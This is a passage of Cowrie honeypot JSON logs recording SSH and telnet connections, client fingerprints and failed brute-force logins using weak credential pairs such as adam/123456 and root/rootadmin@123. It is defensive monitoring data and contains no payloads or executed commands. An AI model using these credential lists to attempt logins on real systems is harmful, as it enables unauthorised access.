88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:20:24.582350Z","src_ip":"159.203.92.129","session":"7902b573487f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"1234","message":"login attempt [adam/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:20:24.877859Z","src_ip":"159.203.92.129","session":"7902b573487f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:20:25.949605Z","src_ip":"159.203.92.129","session":"7902b573487f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.75.185.71","src_port":40516,"dst_ip":"10.17.0.5","dst_port":22,"session":"81e9cc37c420","protocol":"ssh","message":"New connection: 49.75.185.71:40516 (10.17.0.5:22) [session: 81e9cc37c420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:20:35.541524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:20:35.546921Z","src_ip":"49.75.185.71","session":"81e9cc37c420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:20:36.459108Z","src_ip":"49.75.185.71","session":"81e9cc37c420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00968408584595,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:20:45.017945Z","src_ip":"94.79.18.201","session":"dbf878aa9886","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.79.18.201","src_port":36356,"dst_ip":"159.203.135.109","dst_port":23,"session":"9460f5bd1525","protocol":"telnet","message":"New connection: 94.79.18.201:36356 (159.203.135.109:23) [session: 9460f5bd1525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:20:47.789027Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":56874,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2576eb5e20a","protocol":"ssh","message":"New connection: 117.247.23.131:56874 (159.203.135.109:22) [session: a2576eb5e20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:20:58.394233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:20:58.399122Z","src_ip":"117.247.23.131","session":"a2576eb5e20a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:20:59.042033Z","src_ip":"117.247.23.131","session":"a2576eb5e20a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootadmin@123","message":"login attempt [root/rootadmin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:02.018587Z","src_ip":"117.247.23.131","session":"a2576eb5e20a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:03.666845Z","src_ip":"117.247.23.131","session":"a2576eb5e20a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57454,"dst_ip":"159.203.135.109","dst_port":22,"session":"bef18e8a841b","protocol":"ssh","message":"New connection: 159.203.92.129:57454 (159.203.135.109:22) [session: bef18e8a841b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:08.607800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:08.613486Z","src_ip":"159.203.92.129","session":"bef18e8a841b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:08.617813Z","src_ip":"159.203.92.129","session":"bef18e8a841b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"12345","message":"login attempt [adam/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:08.629445Z","src_ip":"159.203.92.129","session":"bef18e8a841b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:09.636621Z","src_ip":"159.203.92.129","session":"bef18e8a841b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":31704,"dst_ip":"10.17.0.5","dst_port":22,"session":"607c1e26482f","protocol":"ssh","message":"New connection: 20.193.141.133:31704 (10.17.0.5:22) [session: 607c1e26482f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:23.414281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:23.419523Z","src_ip":"20.193.141.133","session":"607c1e26482f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:23.603100Z","src_ip":"20.193.141.133","session":"607c1e26482f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qweasd123","message":"login attempt [ubuntu/Qweasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:24.370269Z","src_ip":"20.193.141.133","session":"607c1e26482f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:25.556506Z","src_ip":"20.193.141.133","session":"607c1e26482f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0040032863617,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:28.274227Z","src_ip":"102.135.170.60","session":"bdb2a390761a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00413465499878,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:31.096929Z","src_ip":"102.135.170.60","session":"205cd2975a01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0050699710846,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:36.434742Z","src_ip":"102.135.170.60","session":"0dda4b962b44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":55654,"dst_ip":"10.17.0.5","dst_port":23,"session":"c350e699d137","protocol":"telnet","message":"New connection: 102.135.170.60:55654 (10.17.0.5:23) [session: c350e699d137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:39.662868Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":55896,"dst_ip":"10.17.0.5","dst_port":23,"session":"42c362ad6f7f","protocol":"telnet","message":"New connection: 102.135.170.60:55896 (10.17.0.5:23) [session: 42c362ad6f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:41.118888Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60432,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e732532a296","protocol":"ssh","message":"New connection: 159.203.92.129:60432 (159.203.135.109:22) [session: 0e732532a296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:53.237650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:53.242729Z","src_ip":"159.203.92.129","session":"0e732532a296","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:53.247946Z","src_ip":"159.203.92.129","session":"0e732532a296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"123456","message":"login attempt [adam/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:53.264725Z","src_ip":"159.203.92.129","session":"0e732532a296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:21:54.271627Z","src_ip":"159.203.92.129","session":"0e732532a296","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.244.81.125","src_port":45230,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9cf8750a53c","protocol":"telnet","message":"New connection: 83.244.81.125:45230 (10.17.0.5:23) [session: c9cf8750a53c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:22:06.181904Z"}
{"eventid":"cowrie.session.closed","duration":14.950202941894531,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:22:21.131976Z","src_ip":"83.244.81.125","session":"c9cf8750a53c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":47123,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6ea894a4d2e","protocol":"ssh","message":"New connection: 20.193.141.133:47123 (10.17.0.5:22) [session: e6ea894a4d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:22:32.555574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:22:32.560838Z","src_ip":"20.193.141.133","session":"e6ea894a4d2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:22:32.749663Z","src_ip":"20.193.141.133","session":"e6ea894a4d2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"1","message":"login attempt [user3/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:22:33.537107Z","src_ip":"20.193.141.133","session":"e6ea894a4d2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:22:34.730169Z","src_ip":"20.193.141.133","session":"e6ea894a4d2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:22:35.547981Z","src_ip":"49.75.185.71","session":"81e9cc37c420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60336,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddeabc07d7fb","protocol":"ssh","message":"New connection: 159.203.92.129:60336 (159.203.135.109:22) [session: ddeabc07d7fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:22:37.806617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:22:37.811460Z","src_ip":"159.203.92.129","session":"ddeabc07d7fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:22:37.820075Z","src_ip":"159.203.92.129","session":"ddeabc07d7fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"1234567","message":"login attempt [adam/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:22:37.832662Z","src_ip":"159.203.92.129","session":"ddeabc07d7fb","protocol":"ssh"}
